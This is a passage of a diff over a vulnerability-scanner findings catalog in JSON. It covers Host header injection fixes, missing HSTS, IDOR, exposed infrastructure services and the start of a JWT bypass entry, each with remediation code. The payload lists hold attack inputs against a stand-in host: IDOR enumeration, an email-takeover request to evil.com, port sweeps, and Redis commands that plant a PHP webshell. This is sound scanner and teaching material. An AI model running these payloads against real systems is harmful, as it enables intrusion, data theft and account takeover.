`X-Forwarded-Host`/`X-Forwarded-Server` for URL construction; use static configuration (`app.base-url`) or the validated host.\n3. Configure the reverse proxy to overwrite forwarding headers and not pass client-supplied values.\n4. Generate absolute URLs from trusted configuration, not from the request.\n5. For password resets, use single-use, short-lived tokens bound to the user; validate the host in the reset link.\n6. Apply `Vary` and cache keys that include the canonical host; do not cache responses with a reflected Host.\n7. Disable routing by `X-Original-URL`/`X-Rewrite-URL` at the edge.\n8. Nginx example:\n```nginx\nserver {\n listen 443 ssl;\n server_name alvo.com www.alvo.com;\n if ($host !~ ^(alvo\\.com|www\\.alvo\\.com)$) { return 444; }\n proxy_set_header Host $host;\n proxy_set_header X-Forwarded-Host \"\";\n}\n```\n9. Java/Spring example:\n```java\nprivate static final Set ALLOWED = Set.of(\"alvo.com\", \"www.alvo.com\");\n\n@Component\npublic class HostFilter extends OncePerRequestFilter {\n protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res, FilterChain chain)\n throws IOException, ServletException {\n String host = req.getServerName();\n if (!ALLOWED.contains(host)) { res.sendError(400); return; }\n chain.doFilter(req, res);\n }\n}\n```\n10. Monitor anomalous hosts, reset attempts with external Host values, and spikes in invalid tokens.", + "notableCves": [] }, - "recommendation": "1. Validate the `Host` header against an allowlist of canonical domains; reject unknown hosts with HTTP 400.\n2. Do not trust `X-Forwarded-Host`/`X-Forwarded-Server` for URL construction; use static configuration (`app.base-url`) or the validated host.\n3. Configure the reverse proxy to overwrite forwarding headers and not pass client-supplied values.\n4. Generate absolute URLs from trusted configuration, not from the request.\n5. For password resets, use single-use, short-lived tokens bound to the user; validate the host in the reset link.\n6. Apply `Vary` and cache keys that include the canonical host; do not cache responses with a reflected Host.\n7. Disable routing by `X-Original-URL`/`X-Rewrite-URL` at the edge.\n8. Nginx example:\n```nginx\nserver {\n listen 443 ssl;\n server_name alvo.com www.alvo.com;\n if ($host !~ ^(alvo\\.com|www\\.alvo\\.com)$) { return 444; }\n proxy_set_header Host $host;\n proxy_set_header X-Forwarded-Host \"\";\n}\n```\n9. Java/Spring example:\n```java\nprivate static final Set ALLOWED = Set.of(\"alvo.com\", \"www.alvo.com\");\n\n@Component\npublic class HostFilter extends OncePerRequestFilter {\n protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res, FilterChain chain)\n throws IOException, ServletException {\n String host = req.getServerName();\n if (!ALLOWED.contains(host)) { res.sendError(400); return; }\n chain.doFilter(req, res);\n }\n}\n```\n10. Monitor anomalous hosts, reset attempts with external Host values, and spikes in invalid tokens.", - "notableCves": [] - }, - "hsts_missing": { - "title": "Missing HTTP Strict Transport Security", - "module": "HSTS", - "severity": "LOW", - "cweId": "CWE-319", - "cweTitle": "Cleartext Transmission of Sensitive Information", - "cvssVector": "AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", - "vrtId": "server_security_misconfiguration.missing_security_headers", - "summary": "The absence of the Strict-Transport-Security header allows the browser to access the site over plaintext HTTP, exposing users to SSL stripping and traffic interception on hostile networks.", - "description": "HSTS instructs the browser to use only HTTPS for a domain for a specified duration (`max-age`), optionally including subdomains and requesting inclusion in the browser preload list. Without HSTS, an attacker in a network position (e.g., rogue Wi-Fi, ARP spoofing) can intercept the first HTTP request, redirect the user to an attacker-controlled HTTP version of the site, and capture credentials or session cookies before the redirect to HTTPS occurs (SSL stripping).\n\nThe absence is particularly impactful when:\n- The domain lacks a 301 redirect from HTTP to HTTPS.\n- Session cookies are set without the `Secure` flag.\n- Subdomains still serve HTTP content.\n- The application handles login, payment, or administrative functions.\n- The application uses `X-Forwarded-Proto` incorrectly and only emits HSTS on certain routes.\n\nHSTS does not protect the very first visit if the site has never been accessed over HTTPS, nor does it prevent certificate acceptance exceptions; this is why it should be complemented by preload list inclusion and HTTP-to-HTTPS redirects.", - "impact": "- Interception of credentials and session cookies on public or hostile Wi-Fi networks.\n- SSL stripping and phishing via protocol downgrade.\n- Leakage of authentication tokens in plaintext HTTP traffic.\n- Non-compliance with security baselines and transport-layer requirements.\n- Severity: LOW in isolation; escalates when combined with cookies missing the `Secure` flag or login pages served over HTTP.", - "payloads": [ - "# Verificar HSTS em HTTPS", - "curl -sI https://alvo.com/ | grep -i strict-transport-security", - "# Verificar comportamento em HTTP", - "curl -sI http://alvo.com/ | head -20", - "# Verificar subdomínios", - "curl -sI https://sub.alvo.com/ | grep -i strict-transport-security", - "# Verificar cookie Secure", - "curl -sI https://alvo.com/login | grep -i set-cookie", - "# Verificar redirecionamento", - "curl -s -o /dev/null -w '%{http_code} %{redirect_url}\\n' http://alvo.com/", - "Strict-Transport-Security: max-age=0", - "Strict-Transport-Security: max-age=300", - "Strict-Transport-Security: max-age=31536000 # sem includeSubDomains em site com subdomínios", - "Strict-Transport-Security: max-age=31536000; includeSubDomains # sem preload", - "Header presente apenas em /login, ausente em /admin", - "Header presente em HTTPS, mas HTTP não redireciona", - "Cookie de sessão sem Secure/HttpOnly", - "- HSTS é ignorado em HTTP; se o site não redireciona, o primeiro acesso é vulnerável", - "- Subdomínio sem HSTS pode ser usado para setar cookies para o domínio pai", - "- `includeSubDomains` ausente permite downgrade em subdomínios", - "- Preload removal é lento; validar antes de solicitar", - "- X-Forwarded-Proto: http pode suprimir HSTS em apps que confiam no header" - ], - "crawlerHints": { - "parameters": [], - "paths": [ - "/", - "/login", - "/account", - "/admin", - "/checkout" - ] + "hsts_missing": { + "title": "Missing HTTP Strict Transport Security", + "module": "HSTS", + "severity": "LOW", + "cweId": "CWE-319", + "cweTitle": "Cleartext Transmission of Sensitive Information", + "cvssVector": "AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", + "vrtId": "server_security_misconfiguration.missing_security_headers", + "summary": "The absence of the Strict-Transport-Security header allows the browser to access the site over plaintext HTTP, exposing users to SSL stripping and traffic interception on hostile networks.", + "description": "HSTS instructs the browser to use only HTTPS for a domain for a specified duration (`max-age`), optionally including subdomains and requesting inclusion in the browser preload list. Without HSTS, an attacker in a network position (e.g., rogue Wi-Fi, ARP spoofing) can intercept the first HTTP request, redirect the user to an attacker-controlled HTTP version of the site, and capture credentials or session cookies before the redirect to HTTPS occurs (SSL stripping).\n\nThe absence is particularly impactful when:\n- The domain lacks a 301 redirect from HTTP to HTTPS.\n- Session cookies are set without the `Secure` flag.\n- Subdomains still serve HTTP content.\n- The application handles login, payment, or administrative functions.\n- The application uses `X-Forwarded-Proto` incorrectly and only emits HSTS on certain routes.\n\nHSTS does not protect the very first visit if the site has never been accessed over HTTPS, nor does it prevent certificate acceptance exceptions; this is why it should be complemented by preload list inclusion and HTTP-to-HTTPS redirects.", + "impact": "- Interception of credentials and session cookies on public or hostile Wi-Fi networks.\n- SSL stripping and phishing via protocol downgrade.\n- Leakage of authentication tokens in plaintext HTTP traffic.\n- Non-compliance with security baselines and transport-layer requirements.\n- Severity: LOW in isolation; escalates when combined with cookies missing the `Secure` flag or login pages served over HTTP.", + "payloads": [ + "# Verificar HSTS em HTTPS", + "curl -sI https://alvo.com/ | grep -i strict-transport-security", + "# Verificar comportamento em HTTP", + "curl -sI http://alvo.com/ | head -20", + "# Verificar subdomínios", + "curl -sI https://sub.alvo.com/ | grep -i strict-transport-security", + "# Verificar cookie Secure", + "curl -sI https://alvo.com/login | grep -i set-cookie", + "# Verificar redirecionamento", + "curl -s -o /dev/null -w '%{http_code} %{redirect_url}\\n' http://alvo.com/", + "Strict-Transport-Security: max-age=0", + "Strict-Transport-Security: max-age=300", + "Strict-Transport-Security: max-age=31536000 # sem includeSubDomains em site com subdomínios", + "Strict-Transport-Security: max-age=31536000; includeSubDomains # sem preload", + "Header presente apenas em /login, ausente em /admin", + "Header presente em HTTPS, mas HTTP não redireciona", + "Cookie de sessão sem Secure/HttpOnly", + "- HSTS é ignorado em HTTP; se o site não redireciona, o primeiro acesso é vulnerável", + "- Subdomínio sem HSTS pode ser usado para setar cookies para o domínio pai", + "- `includeSubDomains` ausente permite downgrade em subdomínios", + "- Preload removal é lento; validar antes de solicitar", + "- X-Forwarded-Proto: http pode suprimir HSTS em apps que confiam no header" + ], + "crawlerHints": { + "parameters": [], + "paths": [ + "/", + "/login", + "/account", + "/admin", + "/checkout" + ] + }, + "recommendation": "1. Send HSTS on all HTTPS responses:\n```http\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\n```\n2. Redirect all HTTP traffic to HTTPS with a 301 before serving any content:\n```nginx\nserver {\n listen 80;\n server_name alvo.com www.alvo.com;\n return 301 https://$host$request_uri;\n}\n```\n3. Ensure all subdomains support HTTPS before enabling `includeSubDomains`.\n4. Mark session cookies as `Secure`, `HttpOnly`, and `SameSite=Lax` or `Strict`.\n5. Remove mixed content (HTTP resources loaded within HTTPS pages) and only enable HSTS after validating the full certificate chain.\n6. Submit the domain to the HSTS Preload List after meeting all requirements; maintain the header long-term.\n7. Do not trust client-supplied `X-Forwarded-Proto` to decide whether to emit HSTS; configure the proxy to normalize the value.\n8. Monitor for HSTS header regression and cookie flag compliance in CI.", + "notableCves": [] }, - "recommendation": "1. Send HSTS on all HTTPS responses:\n```http\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\n```\n2. Redirect all HTTP traffic to HTTPS with a 301 before serving any content:\n```nginx\nserver {\n listen 80;\n server_name alvo.com www.alvo.com;\n return 301 https://$host$request_uri;\n}\n```\n3. Ensure all subdomains support HTTPS before enabling `includeSubDomains`.\n4. Mark session cookies as `Secure`, `HttpOnly`, and `SameSite=Lax` or `Strict`.\n5. Remove mixed content (HTTP resources loaded within HTTPS pages) and only enable HSTS after validating the full certificate chain.\n6. Submit the domain to the HSTS Preload List after meeting all requirements; maintain the header long-term.\n7. Do not trust client-supplied `X-Forwarded-Proto` to decide whether to emit HSTS; configure the proxy to normalize the value.\n8. Monitor for HSTS header regression and cookie flag compliance in CI.", - "notableCves": [] - }, - "idor": { - "title": "Insecure Direct Object Reference", - "module": "IDOR", - "severity": "MEDIUM", - "cweId": "CWE-639", - "cweTitle": "Authorization Bypass Through User-Controlled Key", - "cvssVector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", - "vrtId": "broken_access_control.insecure_direct_object_references", - "summary": "The application uses a user-controlled identifier to access objects without verifying that the identifier belongs to the authenticated user, allowing read, modification, or deletion of other users' data.", - "description": "Insecure Direct Object Reference is a broken access control vulnerability at the object level (BOLA in the OWASP API Security Top 10). The endpoint receives an ID (`/api/users/123`, `?invoice_id=456`, `{\"account_id\": 789}`) and returns the corresponding resource without validating ownership, tenant isolation, or permission. Sequential IDs, predictable UUIDs (v1), short hashes, and GraphQL node references increase exploitability.\n\nVariations:\n- **Horizontal:** User A accesses User B's data at the same privilege level.\n- **Vertical:** A regular user accesses an administrative resource.\n- **Blind IDOR:** The response does not return the object, but the action is executed (e.g., DELETE, PATCH).\n- **Method-based IDOR:** GET is protected, but PUT/PATCH/DELETE are not.\n- **Batch IDOR:** Arrays of IDs, exports, reports, and GraphQL `node(id:)` queries.\n- **File IDOR:** Download of invoices, attachments, backups, and export files.\n\nThe bug is common in REST APIs, GraphQL, mobile backends, and integrations, especially when authorization is enforced only on the frontend or on the parent endpoint.", - "impact": "- Exposure of PII, documents, invoices, messages, and financial data of other users.\n- Modification or deletion of third-party data and fraud.\n- Account takeover when the IDOR exposes email addresses, tokens, or allows password changes.\n- Cross-tenant data access in SaaS applications.\n- Impact ranges from MEDIUM to CRITICAL, depending on data sensitivity and write capability.", - "payloads": [ - "# Enumeração simples", - "GET /api/users/1001", - "GET /api/users/1002", - "GET /api/invoices/5544", - "GET /api/orders/98765", - "# Trocar ID no body", - "PATCH /api/users/1002", - "{\"email\":\"atacante@evil.com\"}", - "# Métodos alternativos quando GET é bloqueado", - "POST /api/users/1002", - "PUT /api/users/1002", - "PATCH /api/users/1002", - "DELETE /api/users/1002", - "# IDs em arrays / export", - "GET /api/invoices?ids=1001,1002,1003", - "POST /api/export {\"ids\":[1001,1002,1003]}", - "# UUID previsível (v1) / base64", - "GET /api/files/550e8400-e29b-11d4-a716-446655440000", - "GET /api/files/VXNlcjoxMjM=", - "# GraphQL", - "{ node(id:\"VXNlcjoxMjM=\") { ... on User { email role } } }", - "{ user(id:\"1002\") { email } }", - "# Path traversal em IDs", - "GET /api/users/../admin", - "GET /api/users/1002%2f..%2fadmin", - "# Parâmetros duplicados / mass assignment de referência", - "GET /api/profile?user_id=1001&user_id=1002", - "{\"user_id\":1001,\"owner_id\":1002}", - "# Mobile/API version bypass", - "GET /api/v1/users/1002", - "GET /api/v2/users/1002", - "GET /internal/users/1002", - "- Trocar GET por PUT/PATCH/DELETE", - "- Enviar ID no body JSON/XML em vez da URL", - "- Adicionar header X-Original-URL / X-Rewrite-URL", - "- Usar IDs de outro tenant, organização ou filial", - "- Alterar `role`/`is_admin` junto do ID", - "- Explorar endpoints de export, relatório, impressão e download", - "- Acessar via GraphQL quando REST está protegido (ou vice-versa)", - "- Forçar cache de resposta de outro usuário (combinar com cache poisoning)" - ], - "crawlerHints": { - "parameters": [ - "id", - "user_id", - "account_id", - "customer_id", - "order_id", - "invoice_id", - "file_id", - "document_id", - "message_id", - "trip_id", - "receipt_id", - "tenant_id", - "org_id", - "uuid", - "uid", - "ref", - "key", - "token" - ], - "paths": [ - "/api/users/{id}", - "/api/orders/{id}", - "/api/invoices/{id}", - "/api/files/{id}", - "/api/messages/{id}", - "/api/v1/accounts/{id}", - "/download", - "/export", - "/graphql" - ] + "idor": { + "title": "Insecure Direct Object Reference", + "module": "IDOR", + "severity": "MEDIUM", + "cweId": "CWE-639", + "cweTitle": "Authorization Bypass Through User-Controlled Key", + "cvssVector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", + "vrtId": "broken_access_control.insecure_direct_object_references", + "summary": "The application uses a user-controlled identifier to access objects without verifying that the identifier belongs to the authenticated user, allowing read, modification, or deletion of other users' data.", + "description": "Insecure Direct Object Reference is a broken access control vulnerability at the object level (BOLA in the OWASP API Security Top 10). The endpoint receives an ID (`/api/users/123`, `?invoice_id=456`, `{\"account_id\": 789}`) and returns the corresponding resource without validating ownership, tenant isolation, or permission. Sequential IDs, predictable UUIDs (v1), short hashes, and GraphQL node references increase exploitability.\n\nVariations:\n- **Horizontal:** User A accesses User B's data at the same privilege level.\n- **Vertical:** A regular user accesses an administrative resource.\n- **Blind IDOR:** The response does not return the object, but the action is executed (e.g., DELETE, PATCH).\n- **Method-based IDOR:** GET is protected, but PUT/PATCH/DELETE are not.\n- **Batch IDOR:** Arrays of IDs, exports, reports, and GraphQL `node(id:)` queries.\n- **File IDOR:** Download of invoices, attachments, backups, and export files.\n\nThe bug is common in REST APIs, GraphQL, mobile backends, and integrations, especially when authorization is enforced only on the frontend or on the parent endpoint.", + "impact": "- Exposure of PII, documents, invoices, messages, and financial data of other users.\n- Modification or deletion of third-party data and fraud.\n- Account takeover when the IDOR exposes email addresses, tokens, or allows password changes.\n- Cross-tenant data access in SaaS applications.\n- Impact ranges from MEDIUM to CRITICAL, depending on data sensitivity and write capability.", + "payloads": [ + "# Enumeração simples", + "GET /api/users/1001", + "GET /api/users/1002", + "GET /api/invoices/5544", + "GET /api/orders/98765", + "# Trocar ID no body", + "PATCH /api/users/1002", + "{\"email\":\"atacante@evil.com\"}", + "# Métodos alternativos quando GET é bloqueado", + "POST /api/users/1002", + "PUT /api/users/1002", + "PATCH /api/users/1002", + "DELETE /api/users/1002", + "# IDs em arrays / export", + "GET /api/invoices?ids=1001,1002,1003", + "POST /api/export {\"ids\":[1001,1002,1003]}", + "# UUID previsível (v1) / base64", + "GET /api/files/550e8400-e29b-11d4-a716-446655440000", + "GET /api/files/VXNlcjoxMjM=", + "# GraphQL", + "{ node(id:\"VXNlcjoxMjM=\") { ... on User { email role } } }", + "{ user(id:\"1002\") { email } }", + "# Path traversal em IDs", + "GET /api/users/../admin", + "GET /api/users/1002%2f..%2fadmin", + "# Parâmetros duplicados / mass assignment de referência", + "GET /api/profile?user_id=1001&user_id=1002", + "{\"user_id\":1001,\"owner_id\":1002}", + "# Mobile/API version bypass", + "GET /api/v1/users/1002", + "GET /api/v2/users/1002", + "GET /internal/users/1002", + "- Trocar GET por PUT/PATCH/DELETE", + "- Enviar ID no body JSON/XML em vez da URL", + "- Adicionar header X-Original-URL / X-Rewrite-URL", + "- Usar IDs de outro tenant, organização ou filial", + "- Alterar `role`/`is_admin` junto do ID", + "- Explorar endpoints de export, relatório, impressão e download", + "- Acessar via GraphQL quando REST está protegido (ou vice-versa)", + "- Forçar cache de resposta de outro usuário (combinar com cache poisoning)" + ], + "crawlerHints": { + "parameters": [ + "id", + "user_id", + "account_id", + "customer_id", + "order_id", + "invoice_id", + "file_id", + "document_id", + "message_id", + "trip_id", + "receipt_id", + "tenant_id", + "org_id", + "uuid", + "uid", + "ref", + "key", + "token" + ], + "paths": [ + "/api/users/{id}", + "/api/orders/{id}", + "/api/invoices/{id}", + "/api/files/{id}", + "/api/messages/{id}", + "/api/v1/accounts/{id}", + "/download", + "/export", + "/graphql" + ] + }, + "recommendation": "1. Enforce authorization on every object access on the server side, verifying `owner_id` / `tenant_id` against the authenticated user. Do not rely on opaque IDs or frontend checks.\n2. Apply deny-by-default: if the user does not have explicit permission, return 404 or 403.\n3. Centralize authorization checks in a policy engine and cover all methods and formats (REST, GraphQL, mobile).\n4. Use opaque, random identifiers (UUIDv4/ULID) to reduce enumeration; still validate ownership regardless.\n5. In GraphQL, enforce authorization in every resolver and on `node(id:)` queries; do not expose administrative fields.\n6. Protect export and download endpoints with ownership checks and short-lived signed URLs.\n7. Audit access patterns and alert on enumeration indicators (high 403/404 rates, sequential ID scanning).\n8. Spring example:\n```java\n@GetMapping(\"/api/invoices/{id}\")\npublic Invoice getInvoice(@PathVariable Long id, @AuthenticationPrincipal User user) {\n Invoice invoice = repo.findById(id).orElseThrow(NotFoundException::new);\n if (!invoice.getOwnerId().equals(user.getId()) && !user.hasRole(\"ADMIN\")) {\n throw new AccessDeniedException(\"forbidden\");\n }\n return invoice;\n}\n```\n9. Write automated tests that attempt to access resources belonging to another user across all HTTP methods.", + "notableCves": [] }, - "recommendation": "1. Enforce authorization on every object access on the server side, verifying `owner_id` / `tenant_id` against the authenticated user. Do not rely on opaque IDs or frontend checks.\n2. Apply deny-by-default: if the user does not have explicit permission, return 404 or 403.\n3. Centralize authorization checks in a policy engine and cover all methods and formats (REST, GraphQL, mobile).\n4. Use opaque, random identifiers (UUIDv4/ULID) to reduce enumeration; still validate ownership regardless.\n5. In GraphQL, enforce authorization in every resolver and on `node(id:)` queries; do not expose administrative fields.\n6. Protect export and download endpoints with ownership checks and short-lived signed URLs.\n7. Audit access patterns and alert on enumeration indicators (high 403/404 rates, sequential ID scanning).\n8. Spring example:\n```java\n@GetMapping(\"/api/invoices/{id}\")\npublic Invoice getInvoice(@PathVariable Long id, @AuthenticationPrincipal User user) {\n Invoice invoice = repo.findById(id).orElseThrow(NotFoundException::new);\n if (!invoice.getOwnerId().equals(user.getId()) && !user.hasRole(\"ADMIN\")) {\n throw new AccessDeniedException(\"forbidden\");\n }\n return invoice;\n}\n```\n9. Write automated tests that attempt to access resources belonging to another user across all HTTP methods.", - "notableCves": [] - }, - "infrastructure_exposure": { - "title": "Exposed Infrastructure Service", - "module": "Infra", - "severity": "CRITICAL", - "cweId": "CWE-284", - "cweTitle": "Improper Access Control", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - "vrtId": "server_security_misconfiguration.exposed_admin_interface", - "summary": "Internet-facing infrastructure services (Redis, Docker API, Elasticsearch, databases, administrative panels) exposed without authentication allow data exfiltration, configuration tampering, and frequently lead to remote code execution.", - "description": "The infrastructure module probes common ports and fingerprints services that should not be publicly accessible. High-impact examples include:\n\n- **Redis (6379):** Without `requirepass`, an attacker can use `CONFIG SET dir/dbfilename` to write a webshell or cron entry, achieving RCE.\n- **Docker API (2375/2376):** Without TLS or authentication, an attacker can create privileged containers with host filesystem mounts, resulting in full host compromise.\n- **Elasticsearch (9200/9300):** Open indices expose sensitive data; if scripting is enabled, RCE is possible.\n- **Kibana (5601):** Unauthenticated dashboard grants data access and potential RCE through vulnerable versions.\n- **MongoDB (27017), MySQL (3306), PostgreSQL (5432), MSSQL (1433):** Databases exposed with weak or absent authentication.\n- **Memcached (11211):** Exposes cached data and enables DDoS amplification.\n- **Portainer (9000/9443), Coolify, Prometheus (9090), Grafana (3000), Consul (8500), etcd (2379):** Exposed administrative panels with potential for full environment control.\n- **SSH (22), FTP (21), Telnet (23), SMB (445):** Weak credentials, legacy protocols, and ransomware vectors.\n- **Actuator/Spring (8080/8443):** Sensitive operational endpoints (see dedicated finding).\n\nExposure can be intentional (public-facing service) or accidental (misconfigured security group, binding to `0.0.0.0`, missing firewall rules). The scanner must confirm the service identity, version, and absence of authentication before reporting.", - "impact": "- Remote code execution on the host or container and full environment compromise.\n- Database dump, modification, or deletion of user data.\n- Credential theft and lateral movement across the internal network.\n- Ransomware deployment, cryptomining, and botnet recruitment.\n- Exfiltration of backups, secrets, and infrastructure configuration.\n- Severity: CRITICAL.", - "payloads": [ - "# Descoberta", - "nmap -sV -p 21,22,23,25,80,443,445,1433,1521,2375,2376,3000,3306,5432,5601,6379,8080,8443,9000,9090,9200,9300,11211,27017 alvo.com", - "nmap -sS -O -p- --min-rate 1000 alvo.com # quando autorizado e root", - "masscan -p1-65535 --rate=1000 alvo.com", - "# Redis sem auth", - "redis-cli -h alvo.com -p 6379 INFO", - "redis-cli -h alvo.com -p 6379 CONFIG GET dir", - "redis-cli -h alvo.com -p 6379 CONFIG SET dir /var/www/html", - "redis-cli -h alvo.com -p 6379 CONFIG SET dbfilename shell.php", - "redis-cli -h alvo.com -p 6379 SET x ''", - "redis-cli -h alvo.com -p 6379 SAVE", - "# Docker API", - "curl -s http://alvo.com:2375/version", - "curl -s http://alvo.com:2375/containers/json", - "curl -s http://alvo.com:2375/images/json", - "# Elasticsearch", - "curl -s http://alvo.com:9200/", - "curl -s http://alvo.com:9200/_cat/indices?v", - "curl -s http://alvo.com:9200/_search?q=password", - "# Kibana / Grafana / Prometheus / Portainer", - "curl -s http://alvo.com:5601/", - "curl -s http://alvo.com:3000/api/health", - "curl -s http://alvo.com:9090/-/healthy", - "curl -s http://alvo.com:9000/api/status", - "# Bancos", - "mysql -h alvo.com -u root -p", - "psql -h alvo.com -U postgres", - "mongosh \"mongodb://alvo.com:27017\"", - "# Memcached", - "echo -e \"stats\\r\\n\" | nc alvo.com 11211", - "- Portas altas e não padronizadas (6380, 9201, 2377)", - "- TLS em portas de management (9443) com certificado self-signed", - "- Serviços acessíveis apenas via IPv6", - "- Rate limit/firewall que bloqueia nmap, mas libera HTTP", - "- Vhosts internos que expõem painéis", - "- SSRF para alcançar serviços internos (combinar com finding SSRF)", - "- Credenciais default (admin/admin, elastic/changeme, redis/redis)" - ], - "crawlerHints": { - "parameters": [], - "paths": [] + "infrastructure_exposure": { + "title": "Exposed Infrastructure Service", + "module": "Infra", + "severity": "CRITICAL", + "cweId": "CWE-284", + "cweTitle": "Improper Access Control", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "vrtId": "server_security_misconfiguration.exposed_admin_interface", + "summary": "Internet-facing infrastructure services (Redis, Docker API, Elasticsearch, databases, administrative panels) exposed without authentication allow data exfiltration, configuration tampering, and frequently lead to remote code execution.", + "description": "The infrastructure module probes common ports and fingerprints services that should not be publicly accessible. High-impact examples include:\n\n- **Redis (6379):** Without `requirepass`, an attacker can use `CONFIG SET dir/dbfilename` to write a webshell or cron entry, achieving RCE.\n- **Docker API (2375/2376):** Without TLS or authentication, an attacker can create privileged containers with host filesystem mounts, resulting in full host compromise.\n- **Elasticsearch (9200/9300):** Open indices expose sensitive data; if scripting is enabled, RCE is possible.\n- **Kibana (5601):** Unauthenticated dashboard grants data access and potential RCE through vulnerable versions.\n- **MongoDB (27017), MySQL (3306), PostgreSQL (5432), MSSQL (1433):** Databases exposed with weak or absent authentication.\n- **Memcached (11211):** Exposes cached data and enables DDoS amplification.\n- **Portainer (9000/9443), Coolify, Prometheus (9090), Grafana (3000), Consul (8500), etcd (2379):** Exposed administrative panels with potential for full environment control.\n- **SSH (22), FTP (21), Telnet (23), SMB (445):** Weak credentials, legacy protocols, and ransomware vectors.\n- **Actuator/Spring (8080/8443):** Sensitive operational endpoints (see dedicated finding).\n\nExposure can be intentional (public-facing service) or accidental (misconfigured security group, binding to `0.0.0.0`, missing firewall rules). The scanner must confirm the service identity, version, and absence of authentication before reporting.", + "impact": "- Remote code execution on the host or container and full environment compromise.\n- Database dump, modification, or deletion of user data.\n- Credential theft and lateral movement across the internal network.\n- Ransomware deployment, cryptomining, and botnet recruitment.\n- Exfiltration of backups, secrets, and infrastructure configuration.\n- Severity: CRITICAL.", + "payloads": [ + "# Descoberta", + "nmap -sV -p 21,22,23,25,80,443,445,1433,1521,2375,2376,3000,3306,5432,5601,6379,8080,8443,9000,9090,9200,9300,11211,27017 alvo.com", + "nmap -sS -O -p- --min-rate 1000 alvo.com # quando autorizado e root", + "masscan -p1-65535 --rate=1000 alvo.com", + "# Redis sem auth", + "redis-cli -h alvo.com -p 6379 INFO", + "redis-cli -h alvo.com -p 6379 CONFIG GET dir", + "redis-cli -h alvo.com -p 6379 CONFIG SET dir /var/www/html", + "redis-cli -h alvo.com -p 6379 CONFIG SET dbfilename shell.php", + "redis-cli -h alvo.com -p 6379 SET x ''", + "redis-cli -h alvo.com -p 6379 SAVE", + "# Docker API", + "curl -s http://alvo.com:2375/version", + "curl -s http://alvo.com:2375/containers/json", + "curl -s http://alvo.com:2375/images/json", + "# Elasticsearch", + "curl -s http://alvo.com:9200/", + "curl -s http://alvo.com:9200/_cat/indices?v", + "curl -s http://alvo.com:9200/_search?q=password", + "# Kibana / Grafana / Prometheus / Portainer", + "curl -s http://alvo.com:5601/", + "curl -s http://alvo.com:3000/api/health", + "curl -s http://alvo.com:9090/-/healthy", + "curl -s http://alvo.com:9000/api/status", + "# Bancos", + "mysql -h alvo.com -u root -p", + "psql -h alvo.com -U postgres", + "mongosh \"mongodb://alvo.com:27017\"", + "# Memcached", + "echo -e \"stats\\r\\n\" | nc alvo.com 11211", + "- Portas altas e não padronizadas (6380, 9201, 2377)", + "- TLS em portas de management (9443) com certificado self-signed", + "- Serviços acessíveis apenas via IPv6", + "- Rate limit/firewall que bloqueia nmap, mas libera HTTP", + "- Vhosts internos que expõem painéis", + "- SSRF para alcançar serviços internos (combinar com finding SSRF)", + "- Credenciais default (admin/admin, elastic/changeme, redis/redis)" + ], + "crawlerHints": { + "parameters": [], + "paths": [] + }, + "recommendation": "1. Close infrastructure ports to the internet; use VPN, bastion hosts, or private link for access.\n2. Bind services to `127.0.0.1` or the internal network and enforce security groups and firewall rules with least-privilege access.\n3. Require strong authentication and TLS on all management services; disable default credentials.\n4. Redis: set a strong `requirepass`, enable `protected-mode yes`, bind to internal interfaces, and rename or disable dangerous commands (`CONFIG`, `FLUSHALL`, `EVAL`).\n5. Docker API: use mutual TLS, never expose port 2375; restrict access to the local socket.\n6. Elasticsearch/Kibana: enable Security features, RBAC, and TLS; do not expose indices publicly.\n7. Databases: enforce strong authentication, TLS, no remote `root` user, audit logging, and secure backups.\n8. Update all services and remove legacy panels; use SSO/MFA on Portainer, Grafana, Prometheus, and Coolify.\n9. Monitor for port scans, authentication attempts, and dangerous commands; alert and block.\n10. If exposure has occurred, rotate all credentials, review logs, and assume compromise.", + "notableCves": [] }, - "recommendation": "1. Close infrastructure ports to the internet; use VPN, bastion hosts, or private link for access.\n2. Bind services to `127.0.0.1` or the internal network and enforce security groups and firewall rules with least-privilege access.\n3. Require strong authentication and TLS on all management services; disable default credentials.\n4. Redis: set a strong `requirepass`, enable `protected-mode yes`, bind to internal interfaces, and rename or disable dangerous commands (`CONFIG`, `FLUSHALL`, `EVAL`).\n5. Docker API: use mutual TLS, never expose port 2375; restrict access to the local socket.\n6. Elasticsearch/Kibana: enable Security features, RBAC, and TLS; do not expose indices publicly.\n7. Databases: enforce strong authentication, TLS, no remote `root` user, audit logging, and secure backups.\n8. Update all services and remove legacy panels; use SSO/MFA on Portainer, Grafana, Prometheus, and Coolify.\n9. Monitor for port scans, authentication attempts, and dangerous commands; alert and block.\n10. If exposure has occurred, rotate all credentials, review logs, and assume compromise.", - "notableCves": [] - }, - "jwt_signature_bypass": { - "title": "JWT Signature and Algorithm Bypass", - "module": "JWT", - "severity": "CRITICAL", - "cweId": "CWE-347", - "cweTitle": "Improper Verification of Cryptographic Signature", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", - "vrtId": "broken_authentication_and_session_management.authentication_bypass.json_web_token_vulnerability", - "summary": "Flaws in JWT signature validation allow token forgery, privilege escalation, and account takeover. The most common variants are `alg:none`, RS256-to-HS256 confusion, JWK/JKU injection, and controllable `kid` parameters.", - "description": "A JWT consists of a header, payload, and signature, each Base64URL-encoded. The server must validate the signature using a trusted key and accept only explicitly permitted algorithms. When the `alg` header controls verification, an attacker can:\n\n- Set `alg` to `none` and strip the signature, if the library accepts unsigned tokens.\n- Switch `RS256` to `HS256` and use the known RSA public key as the HMAC secret, when the server does not pin the algorithm.\n- Inject a key via `jwk`, `jku`, or `x5u`, pointing to an attacker-controlled JWKS endpoint.\n- Exploit `kid` via SQL injection, path traversal, or file read to select a predictable key.\n- Brute-force a weak HMAC secret offline, or exploit an endpoint that skips signature validation entirely.\n\nThe issue is compounded by legacy libraries, custom implementations, trusting the token's `alg` claim, missing validation of `iss`, `aud`, `exp`, `nbf`, and blind trust in remote JWKS.", - "impact": "- Complete authentication and authorization bypass; access to any account or administrative panel.\n- Privilege 